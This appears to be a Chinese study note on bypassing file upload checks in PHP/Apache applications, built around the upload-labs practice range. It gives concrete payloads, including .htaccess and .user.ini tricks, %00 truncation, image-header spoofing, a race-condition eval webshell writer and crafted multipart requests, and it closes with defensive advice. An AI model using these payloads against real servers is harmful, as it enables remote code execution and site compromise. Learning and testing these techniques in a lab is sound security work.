NOTE
文件上传漏洞和 WAF 绕过
整理文件上传漏洞条件、校验绕过思路和防御检查要点。
一、环境准备
1.1 靶场搭建
# 拉取靶场镜像
docker pull docker.xuanyuan.run/monstertsl/upload-labs:latest
# 启动靶场容器 (端口映射 82->80)
docker run -d -p 82:80 --name upload-labs docker.xuanyuan.run/monstertsl/upload-labs:latest
1.2 学习资源
二、漏洞类型与绕过技巧
2.1 前端校验绕过
漏洞特征:仅依赖客户端JS验证文件类型
绕过方法:
- 浏览器禁用JS执行
- 拦截HTTP请求修改文件扩展名
- 使用BurpSuite等工具篡改上传请求

2.2 黑名单策略绕过
常见漏洞点:
1. 未过滤非常规PHP扩展名:php3,php5,pht,phtml,phps
2. 未处理大小写混淆:`.PhP`, `.pHP5`
3. Windows特性未过滤:
- 末尾空格:`shell.php `
- 末尾点号:`shell.php.`
- NTFS数据流:`shell.jpg::$DATA`
4. 未拦截配置文件:
- `.htaccess` (Apache)
- `.user.ini` (PHP)
5. 双写绕过:`shell.pphphp` → `shell.php`
6. 数组后缀绕过(新增)
2.2.1 .htaccess利用
# 上传.htaccess文件内容
AddType application/x-httpd-php .jpg .txt
效果:使服务器将jpg/txt文件作为PHP解析
2.2.2 .user.ini利用
; 上传.user.ini文件内容
auto_prepend_file = "shell.jpg"
效果:当前目录下所有PHP文件执行前自动包含shell.jpg
2.3 白名单策略绕过
2.3.1 %00截断攻击 (PHP<5.3.4)
漏洞原理:老版本PHP将%00识别为字符串终止符
攻击示例:
POST /upload.php HTTP/1.1
...
Content-Disposition: form-data; name="file"; filename="shell.php%00.jpg"
结果:服务器存储为shell.php
2.3.2 文件头欺骗
绕过方法:
- 添加图片文件头:
- JPEG:
FF D8 FF E0 - PNG:
89 50 4E 47
- JPEG:
- 使用Hex编辑器注入恶意代码
示例结构:
[图片文件头] + [PHP木马] + [正常图片数据]
2.3.3 图片二次渲染绕过
限制:仅GIF成功率较高
攻击流程:
- 分析渲染前后不变的数据区
- 在保留区域植入木马
- 上传后配合文件包含漏洞执行
2.4 条件竞争攻击
漏洞场景:先保存后验证的服务器逻辑
攻击步骤:
- 上传生成木马的脚本
<?php file_put_contents('shell.php', '<?php eval($_POST["cmd"]);?>');
- 快速重复访问脚本URL
- 在文件删除前完成木马写入
2.5 Apache解析漏洞
漏洞版本:Apache 1.x/2.x
特征:从右向左解析未知扩展名
有效载荷:
shell.php.xxx → 解析为PHP
shell.php.jpg → 解析为jpg
2.6 数组后缀绕过
漏洞原理:
当服务器使用数组方式处理文件名时(如PHP的explode()分割),可能通过end()获取扩展名,但用reset() + 数组索引拼接最终文件名,导致逻辑不一致。
攻击步骤:
- 构造多维数组形式的上传请求
- 控制数组索引使验证扩展名与实际存储扩展名分离
- 生成非常规后缀(如.php.xxx)触发解析漏洞
HTTP攻击示例:
POST /upload.php HTTP/1.1
...
Content-Disposition: form-data; name="save_name[0]"
1.php
Content-Disposition: form-data; name="save_name[2]"
bypass
Content-Disposition: form-data; name="save_name[3]"
jpg // 验证通过
结果:存储文件名为1.php.bypass,配合Apache解析漏洞可执行PHP
2.7 日志文件注入
漏洞原理:一些服务器会开启访问记录日志功能,我们可以在访问网站时加上恶意代码,再配合目录穿越和文件包含漏洞来执行恶意脚本代码。
攻击步骤:
-
构造恶意请求记录入日志文件:


-
利用文件包含漏洞引入日志文件中的恶意代码。
三、防御建议
1. 文件类型验证:
- 使用MIME类型检测 + 文件头校验
- 白名单限制扩展名(推荐)
2. 存储安全:
- 重命名上传文件(如MD5值)
- 禁用脚本执行权限
- 存储至非Web目录
3. 服务配置:
- 升级Apache/PHP版本
- 关闭危险解析特性
- 设置php.ini:`cgi.fix_pathinfo=0`
4. 纵深防御:
- WAF规则更新(防%00截断、数组绕过等)
- 文件内容扫描(防Webshell)
- 设置上传目录不可执行
5. 逻辑加固(针对数组绕过):
- 避免使用数组方式处理文件名
- 统一使用pathinfo()获取扩展名
- 文件名拼接前进行规范化处理